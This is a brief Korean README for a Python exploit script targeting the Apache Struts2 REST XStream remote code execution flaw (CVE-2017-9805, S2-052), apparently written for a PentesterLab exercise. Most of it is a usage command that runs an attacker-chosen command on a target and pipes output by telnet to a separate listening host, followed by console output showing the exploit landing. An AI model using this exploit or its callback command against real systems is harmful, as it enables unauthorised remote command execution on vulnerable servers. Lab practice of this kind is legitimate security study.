
Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805)에 대한 익스플로잇 스크립트
Resources: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
파이썬 익스플로잇 스크립트로, S2-052에 취약한 Struts2를 호스팅하는 시스템의 셸에서 원격 명령을 실행할 수 있습니다.
python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned
pentesterlab 취약 머신의 s2-052 실습에서 테스트되었습니다.